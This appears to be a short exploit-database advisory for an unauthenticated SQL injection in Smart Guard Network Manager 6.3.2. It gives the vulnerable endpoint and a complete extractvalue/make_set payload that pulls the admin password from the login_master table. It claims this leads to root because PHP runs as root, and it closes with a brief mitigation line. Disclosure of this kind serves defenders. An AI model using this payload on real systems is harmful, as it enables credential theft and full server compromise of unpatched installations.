vendor:
Smart Guard Network Manager
by:
Rahul Raz
8,8
CVSS
HIGH
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
89
CWE
Product Name: Smart Guard Network Manager
Affected Version From: 6.3.2
Affected Version To: 6.3.2
Patch Exists: No
Related CWE: N/A
CPE: a:xsinfoways:smart_guard_network_manager
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu Linux
2016
SQL Injection In Smart Guard Network Manager Api
Any unauthenticated user can inject SQL commands on the <base-url>/view_logs/search_all_history.php?menu_id=-466 and extractvalue(1,(select make_set(511,0,SUBSTRING(password,1,20),1) from login_master limit 0,1 ))-- - So an user can fetch admin details and can easily get root on that server if server is SmartGuard 6.0A Revolutions as php runs as user root by default. This this vulnerability can make whole server vulnerable.
Mitigation:
Input validation should be done on the server side to prevent SQL injection attacks.